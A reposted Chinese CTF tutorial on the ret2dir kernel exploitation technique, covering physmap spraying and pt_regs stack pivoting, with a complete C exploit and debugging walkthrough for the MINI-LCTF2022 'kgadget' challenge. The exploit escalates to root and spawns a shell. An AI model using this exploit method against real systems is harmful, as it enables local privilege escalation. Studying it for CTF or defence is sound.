kernel pwn 入門(四) ret2dir詳細

介紹

ret2dir 是哥倫比亞大學網絡安全實驗室在 2014 年提出的一種輔助攻擊手法,主要用來繞過 smep、smap、pxn 等用戶空間與內核空間隔離的防護手段
原論文見此處: ret2dir原文論文

參考:kernel pwn入門到大神
ret2dir

ret2dir原理

在開啟了smep/smap后,內核空間到用戶空間的直接訪問被禁止,也就是傳統的ret2usr失效了,如下圖(圖片來源于論文)。
在這里插入圖片描述
為饒過這種限制,原文作者找到了一段區域,可以隱式的訪問到用戶空間數據。在內核空間就能訪問到用戶空間的數據,該區域也被稱為phsymap,是很大一段的虛擬內存,映射了整個物理內存
這片區域叫做:direct mapping of all physical memory
在這里插入圖片描述

這個映射區其實就是內核空間會與物理地址空間進行線性的映射,我們可以在這段區域直接訪問到物理地址對應的內容。

在這里插入圖片描述
下圖就是在論文中對ret2dir這種攻擊的示例圖,不和ret2usr一樣,指針不是指向用戶空間,而是指向直接映射區域,在用戶空間構造的payload也會映射到物理地址,所以只要在phsymap區域找到用戶空間的payload就能執行。在高版本內核中 direct mapping area沒有可執行權限需要通過ROP利用

在這里插入圖片描述
因此若能獲得指向存在payload的用戶空間對應的物理地址在phsymap位置,就能夠直接執行用戶空間的payload

  1. 通過讀取/proc/pid/pagemap可獲取映射地址,該文件中存放了物理地址與虛擬地址的映射關系,可是該文件需要root權限才能讀取.
  2. 利用堆噴技術phsymap區域填充大量payload,提高命中概率。

在這里插入圖片描述

ret2dir手法總結:

  • 利用mmap或者堆噴技術在用戶空間噴射大量相同的payload
  • 隨機挑選direct mapping area上的地址,大概率命中寫入的payload

pt_regs

系統調用:用戶態布置好相應的參數后執行 syscall 進入到內核中的 entry_SYSCALL_64,隨后通過系統調用表跳轉到對應的函數

entry_SYSCALL_64 :當程序進入到內核態時,該函數會將所有的寄存器壓入內核棧上,形成一個 pt_regs 結構體,該結構體實質上位于內核棧底.

entry_SYSCALL_64定義在arch/x86/entry/entry_64.S

在這里插入圖片描述
pt_regs定義在arch/x86/include/asm/ptrace.h

struct pt_regs {
/** C ABI says these regs are callee-preserved. They aren't saved on kernel entry* unless syscall needs a complete, fully filled "struct pt_regs".*/unsigned long r15;unsigned long r14;unsigned long r13;unsigned long r12;unsigned long rbp;unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */unsigned long r11;unsigned long r10;unsigned long r9;unsigned long r8;unsigned long rax;unsigned long rcx;unsigned long rdx;unsigned long rsi;unsigned long rdi;
/** On syscall entry, this is syscall#. On CPU exception, this is error code.* On hw interrupt, it's IRQ number:*/unsigned long orig_rax;
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss;
/* top of stack page */
};

內核棧只有一個頁面的大小,而pt_regs固定在內核棧底部,當可以劫持到rip的時候,需要通過rop來控制rsp可以使用到pt_regs來構造ROP。

注意:

  • 在內核版本 5.13 之前 pt_regs 結構體棧頂的偏移值基本是固定的(因為內核棧只有一個 page),通常可以借助 add rsp, val ; ret 的 gadget 劫持一處函數指針就能實現進一步 ROP 利用。

  • 但是,在 5.13 及之后do_syscall_64 函數入口處,新增了一行
    add_random_kstack_offset();來源于 2021 年 的一個 commit,效果是在棧底的 pt_regs
    之上放了一個不超過 0x3FF 的偏移,使得利用的穩定性大幅下降。

模板:

__asm__("mov r15,   0xbeefdead;""mov r14,   0x11111111;""mov r13,   0x22222222;""mov r12,   0x33333333;""mov rbp,   0x44444444;""mov rbx,   0x55555555;""mov r11,   0x66666666;""mov r10,   0x77777777;""mov r9,    0x88888888;""mov r8,    0x99999999;""xor rax,   rax;""mov rcx,   0xaaaaaaaa;""mov rdx,   8;""mov rsi,   rsp;""mov rdi,   seq_fd;"        // 這里假定通過 seq_operations->stat 來觸發"syscall"
);

系統調用在內核棧的底部會被壓入形成pt_regs結構體,如果這個時候控制了rip,使用add rsp,0xn;ret;配合pt_regs完成ROP
在這里插入圖片描述

MINI-LCTF2022 - kgadget

先看run.sh

在這里插入圖片描述
開了smep/smap 但是沒開Kaslr

kgadget_ioctl(漏洞點)

在這里插入圖片描述
當我們輸入的操作碼為0x1BF52時,會將rdx寄存器中的進行解引用,并且以函數的方式調用該地址,這就導致了任意地址執行

利用

程序很簡單,就是傳入數據(rdx),然后再做了清除pt_regs操作之后,call [rdx](call rbx),這里pt_regs沒清理完全還有r8 r9 殘留可以使用

但是開了smep/smap,直接在內核態執行用戶代碼會報錯沒開kaslr,現在只能控制rip,可以利用pt_regs手法劫持rsp跳到direct區域,然后使用mmapphsymap噴射大量提權payload,然后利用direct地址映射訪問payload然后返回用戶態getshell

這里先給出exp然后一步步調試

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0+0x1b;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t ret = 0xffffffff810001fc;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t add_rsp_ = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;size_t target;
int fd;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(){if(getuid()==0){printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}void copy_dir(){size_t *payload;size_t idx = 0;payload = mmap(NULL,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);for(int i =0;i<(4096-0xc0-0x58)/8;i++){payload[idx++] = add_rsp_;}for(int j = 0;j<0xc0/8;j++){payload[idx++] = ret;}payload[idx++] = pop_rdi_ret;payload[idx++] = init_cred;payload[idx++] = commit_creds;payload[idx++] = swapgs_restore_regs_and_return_to_usermode;payload[idx++] = 0;payload[idx++] = 0;payload[idx++] = (size_t)get_shell;payload[idx++] = user_cs;payload[idx++] = user_rflags;payload[idx++] = user_sp;payload[idx++] = user_ss;
}int main(){save_status();fd = open("/dev/kgadget",O_RDWR);for(int i =0;i<0x4000;i++){copy_dir();}target = 0xFFFF888000000000 + 0x6000000;__asm__("mov r15,   0xbeefdead;""mov r14,   0x11111111;""mov r13,   0x22222222;""mov r12,   0x33333333;""mov rbp,   0x44444444;""mov rbx,   0x55555555;""mov r11,   0x66666666;""mov r10,   0x77777777;""mov r9,    pop_rsp_ret;""mov r8,    target;""mov rcx,   0xaaaaaaaa;""mov rdx,   target;"  "mov rsi,   0x1bf52;""mov rdi,   fd;"   "mov rax,   0x10;""syscall");return 0;
}

先在調用ioctl后要執行call rbx前下斷點:

b *0xffffffffc0002000+0x160

在這里插入圖片描述
在這里插入圖片描述
然后查看棧的數據:

在這里插入圖片描述
可以看到pt_regs已經被壓入棧,并且我們的r8,r9寄存器還是我們想要的值。
后續利用pt_regs控制rsp到直接映射區。
先看看映射區的內容吧:
在這里插入圖片描述

可以看到phsymap區域的值通過映射已經填上了我們用戶空間的payload
然后si繼續執行,通過call rbx成功執行我們的小部分payload
在這里插入圖片描述
因為這時 rsp并不在phsymap區域上,如果我們沒有改變r8 r9寄存器的值,當我們執行完 pop rbp; ret后就不能執行phsymap區域上后面的代碼了,而是ret到其它地方。
但我們這里把r9改成了pop rsp的地址r8是我們要跳到的phsymap地址,通過棧遷移,把rsp改到我們的phsymap區域,如下:
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
可以看到我們把棧都遷移到我們的phsymap區域了,然后依次執行我們的ROP

在這里插入圖片描述

補充:

利用extract-vmlinux ./bzImage > ./vmlinux 提取vmlinux時提取不了
可以用vmlinux-to-elf這個工具

vmlinux-to-elf ./bzImage vmlinux

如同之前內核ROP,我們同樣需要找到swapgs、iretq等語句,但是在本題當中并未尋找到滿足的gadget,但是我們將vmlinux拖入IDA進行分析可以獲知出題人在內核種提供了一個函數名叫swapgs_restoer_regs_and_return_to_usermode,如下:

.text:FFFFFFFF81C00FB0                               public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81C00FB0                               swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81C00FB0                                                                       ; CODE XREF: ret_from_fork+15↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+54↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+65↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+74↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+87↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+94↑j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_64_after_hwframe+A3↑j
.text:FFFFFFFF81C00FB0                                                                       ; error_return+E↓j
.text:FFFFFFFF81C00FB0                                                                       ; asm_exc_nmi+93↓j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSENTER_compat_after_hwframe+4F↓j
.text:FFFFFFFF81C00FB0                                                                       ; entry_SYSCALL_compat_after_hwframe+47↓j
.text:FFFFFFFF81C00FB0                                                                       ; entry_INT80_compat+85↓j
.text:FFFFFFFF81C00FB0                                                                       ; DATA XREF: print_graph_irq+D↑o
.text:FFFFFFFF81C00FB0                                                                       ; print_graph_entry+59↑o
.text:FFFFFFFF81C00FB0 90                            nop                                     ; Alternative name is '__irqentry_text_end'
.text:FFFFFFFF81C00FB1 90                            nop
.text:FFFFFFFF81C00FB2 90                            nop
.text:FFFFFFFF81C00FB3 90                            nop
.text:FFFFFFFF81C00FB4 90                            nop
.text:FFFFFFFF81C00FB5 41 5F                         pop     r15
.text:FFFFFFFF81C00FB7 41 5E                         pop     r14
.text:FFFFFFFF81C00FB9 41 5D                         pop     r13
.text:FFFFFFFF81C00FBB 41 5C                         pop     r12
.text:FFFFFFFF81C00FBD 5D                            pop     rbp
.text:FFFFFFFF81C00FBE 5B                            pop     rbx
.text:FFFFFFFF81C00FBF 41 5B                         pop     r11
.text:FFFFFFFF81C00FC1 41 5A                         pop     r10
.text:FFFFFFFF81C00FC3 41 59                         pop     r9
.text:FFFFFFFF81C00FC5 41 58                         pop     r8
.text:FFFFFFFF81C00FC7 58                            pop     rax
.text:FFFFFFFF81C00FC8 59                            pop     rcx
.text:FFFFFFFF81C00FC9 5A                            pop     rdx
.text:FFFFFFFF81C00FCA 5E                            pop     rsi                             ;直到這里可以發現咱們是在主動恢復一些當時中斷保存的pt_regs寄存器組
.text:FFFFFFFF81C00FCB 48 89 E7                      mov     rdi, rsp                        ;我們可以跳過這些寄存器直接開整
.text:FFFFFFFF81C00FCE 65 48 8B 24 25 04 60 00 00    mov     rsp, gs:qword_6004
.text:FFFFFFFF81C00FD7 FF 77 30                      push    qword ptr [rdi+30h]
.text:FFFFFFFF81C00FDA FF 77 28                      push    qword ptr [rdi+28h]
.text:FFFFFFFF81C00FDD FF 77 20                      push    qword ptr [rdi+20h]
.text:FFFFFFFF81C00FE0 FF 77 18                      push    qword ptr [rdi+18h]
.text:FFFFFFFF81C00FE3 FF 77 10                      push    qword ptr [rdi+10h]
.text:FFFFFFFF81C00FE6 FF 37                         push    qword ptr [rdi]
.text:FFFFFFFF81C00FE8 50                            push    rax
.text:FFFFFFFF81C00FE9 EB 43                         jmp     short loc_FFFFFFFF81C0102E
...........
.text:FFFFFFFF81C0102E                               loc_FFFFFFFF81C0102E:                   ; CODE XREF: swapgs_restore_regs_and_return_to_usermode+39↑j
.text:FFFFFFFF81C0102E 58                            pop     rax                             ;這里pop了兩個值,所以需要在ROP種填充
.text:FFFFFFFF81C0102F 5F                            pop     rdi
.text:FFFFFFFF81C01030 0F 01 F8                      swapgs
.text:FFFFFFFF81C01033 FF 25 47 8D E4 00             jmp     cs:off_FFFFFFFF82A49D80     ;iretq   

從這個名字也可以看出他是為了在中斷例程結束后從內核態返回用戶態時所調用的函數,他首先會pop大量的寄存器來還原當時的環境,這里我們并不需要,所以我們需要的開始執行的地址就從0xFFFFFFFF81C00FCB進行咱們的利用,從這力同樣可以返回用戶態,因此這就是我們所需要的。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95342.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95342.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95342.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

n階常系數齊次線性微分方程的含義

微分方程 (Differential Equation): 含義&#xff1a; 包含未知函數及其導數&#xff08;或微分&#xff09;的方程。例子&#xff1a; dy/dx 2x&#xff08;未知函數是 y(x)&#xff0c;導數是 dy/dx&#xff09;, dy/dt 2 dy/dt y 0&#xff08;未知函數是 y(t)&#xff…

hexo + github 搭建個人博客

hexo github 搭建個人博客環境配置部署環境配置部署 所需環境&#xff1a; 跳過github郵箱注冊。 右鍵點擊桌面空白處&#xff0c;選擇 “Git Bash Here”&#xff0c;輸入以下命令設置用戶名和郵箱&#xff1a; git config --global user.name "GitHub用戶名" g…

ERFA庫全面指南:從基礎概念到實踐應用

ERFA庫全面指南&#xff1a;從基礎概念到實踐應用 ERFA&#xff08;Essential Routines for Fundamental Astronomy&#xff09;作為天文學計算領域的重要開源庫&#xff0c;為開發者提供了處理天文時間、坐標系轉換和星體位置計算等核心功能。本文將深入探討ERFA庫的技術細節…

STM32 HAL庫串口的功能實現與改進

目錄 概述 1 CubeMX配置串口參數 1.1 STM32CUB配置參數 1.2 生成代碼 2 核心代碼介紹 2.1 初始化函數 2.2 中斷函數 2.3 重要的用戶函數 2.4 實現用戶接口函數 3 接收數據函數的優化 3.1 HAL庫接收函數的缺陷 3.2 改進接收函數 概述 在STM32開發中使用HAL庫操作串…

DBA | SQL 結構化查詢語言介紹與學習環境準備

[ 知識是人生的燈塔&#xff0c;只有不斷學習&#xff0c;才能照亮前行的道路 ]&#x1f4e2; 大家好&#xff0c;我是 WeiyiGeek&#xff0c;一名深耕安全運維開發&#xff08;SecOpsDev&#xff09;領域的技術從業者&#xff0c;致力于探索DevOps與安全的融合&#xff08;Dev…

day39_2025-08-13

知識點回顧&#xff1a; 彩色和灰度圖片測試和訓練的規范寫法&#xff1a;封裝在函數中 展平操作&#xff1a;除第一個維度batchsize外全部展平 dropout操作&#xff1a;訓練階段隨機丟棄神經元&#xff0c;測試階段eval模式關閉dropout 作業&#xff1a;仔細學習下測試和訓練…

使用GTX ip core + SDI IP core實現SDI設計

使用GTX ip core SDI IP core實現SDI設計 1.SDI接口可以調用GTX IP&#xff0c;具體代碼可以參考xapp592&#xff0c;將代碼移植進入工程里&#xff0c;增加SDI IP核&#xff0c;增加引腳約束即可運行起來 2.使用transceiver的gt的ip core&#xff0c;然后協議選擇SDI協議 3.使…

【無標題】centos 配置阿里云的yum源

1、查看系統正在使用的yum源列表yum repolist結果分析&#xff1a;目前這里看出有base &#xff0c;extras &#xff0c;updates三個yum源&#xff0c;這三個也是系統默認的yum源&#xff0c;一般還需要一個epel企業級額外的yum源&#xff0c;本文主要就是更改yum源的配置文件&…

GPT-5全面開放!OpenAI回應用戶反饋:GPT-4o已重新上線!

OpenAI 近日宣布&#xff0c;其最新模型 GPT-5 現已全面向所有 Plus、Pro、Team 和免費用戶開放。 為進一步優化用戶體驗并應對初期反饋&#xff1a; 用戶額度提升&#xff1a; 在剛剛過去的周末&#xff0c;OpenAI已將 Plus 和 Team 用戶的 GPT-5 使用額度提升至原來的 2 倍…

線程安全的單例模式,STL和智能指針

目錄 什么是單例模式 什么是設計模式 單例模式的特點 餓漢實現方式和懶漢實現方式 餓漢方式實現單例模式 懶漢方式實現單例模式 懶漢方式實現單例模式(線程安全版本) STL,智能指針和線程安全 STL中的容器是否是線程安全的? 智能指針是否是線程安全的? 其他常見的各種鎖 什么是…

[每周一更]-(第155期):深入Go反射機制:架構師視角下的動態力量與工程智慧

在構建高復雜度、高靈活性的Go語言系統時&#xff0c;反射&#xff08;reflect&#xff09;就像一把雙刃劍——用得好能斬斷開發枷鎖&#xff0c;用不好則可能自傷程序。本文將深入探討反射的內部機理、典型應用場景、安全邊界及性能優化策略。一、反射核心&#xff1a;類型與值…

15_基于深度學習的蘋果病害檢測識別系統(yolo11、yolov8、yolov5+UI界面+Python項目源碼+模型+標注好的數據集)

目錄 項目介紹&#x1f3af; 功能展示&#x1f31f; 一、環境安裝&#x1f386; 環境配置說明&#x1f4d8; 安裝指南說明&#x1f3a5; 環境安裝教學視頻 &#x1f31f; 二、數據集介紹&#x1f31f; 三、系統環境&#xff08;框架/依賴庫&#xff09;說明&#x1f9f1; 系統環…

Kotlin 數據容器 - MutableList(MutableList 概述、MutableList 增刪改查、MutableList 遍歷元素)

一、MutableList 概述MutableList 是 Kotlin 中可變的列表接口&#xff0c;它繼承自 List 接口并添加了修改列表內容的方法MutableList 允許添加、刪除、更新元素二、創建 MutableList 1、基礎創建 使用 mutableListOf 函數 // 創建一個 MutableList&#xff0c;包含 4 個元素 …

數據庫規范化:消除冗余與異常的核心法則

規范化&#xff08;Normalization&#xff09; 是數據庫設計中的核心流程&#xff0c;旨在通過結構化表與字段&#xff0c;消除數據冗余和避免數據異常&#xff08;插入/更新/刪除異常&#xff09;&#xff0c;同時確保數據依賴合理。其核心方法是將大表拆分為多個小表&#xf…

AI繪畫與攝影新紀元:ChatGPT+Midjourney+文心一格 共繪夢幻世界

文章目錄一、AI藝術的新時代二、ChatGPT&#xff1a;創意的引擎與靈感的火花三、Midjourney&#xff1a;圖像生成的魔法與技術的奇跡四、文心一格&#xff1a;藝術的升華與情感的共鳴五、融合創新&#xff1a;AI繪畫與攝影實戰的無限可能六、應用場景與實踐案例AI藝術的美好未來…

如何衡量需求的緊急程度

衡量需求的緊急程度&#xff0c;其核心在于建立一套客觀、量化、且基于商業影響的評估框架&#xff0c;從而將干系人主觀的“緊迫感”&#xff0c;轉化為團隊可進行理性決策的“優先級數據”。一套行之有效的緊急程度衡量體系&#xff0c;其構建必須綜合考量五大關鍵維度&#…

setInterval的任務正在執行時,setTimeout的任務會等待前者完成后再執行,這樣會造成2個計時器的時間精度出錯?

setInterval&#xff0c;setTimeout 2種計時器在同一個頁面處理任務&#xff0c;想看下精度用時情況。setInterval的任務正在執行時&#xff0c;setTimeout的任務會等待前者完成后再執行&#xff0c;這樣會造成2個計時器的時間精度出錯&#xff1f;本來settimeout啟動0.5秒&…

DeepSeek-R1-0528 推理模型完整指南:領先開源推理模型的運行平臺與選擇建議

每周跟蹤AI熱點新聞動向和震撼發展 想要探索生成式人工智能的前沿進展嗎&#xff1f;訂閱我們的簡報&#xff0c;深入解析最新的技術突破、實際應用案例和未來的趨勢。與全球數同行一同&#xff0c;從行業內部的深度分析和實用指南中受益。不要錯過這個機會&#xff0c;成為AI領…

【AI實戰】從零開始微調Qwen2-VL模型:打造制造業智能安全巡檢系統

【AI實戰】從零開始微調Qwen2-VL模型&#xff1a;打造制造業智能安全巡檢系統&#x1f3af; 項目背景與目標&#x1f6e0; 環境準備硬件要求軟件環境搭建&#x1f4ca; 數據準備&#xff1a;構建高質量訓練集第一步&#xff1a;提取規章制度知識第二步&#xff1a;創建標注數據…

5 重復匹配

在前幾章里&#xff0c;我們學習了如何使用各種元字符和特殊的字符集合去匹配單個字符。本章將學習如何匹配多個連續重復出現的字符或字符集合。5.1 有多少個匹配你現在已經學會了正則表達式的模式匹配中的基礎知識&#xff0c;但目前所有的例子都有一個非常嚴重的局限。請大家…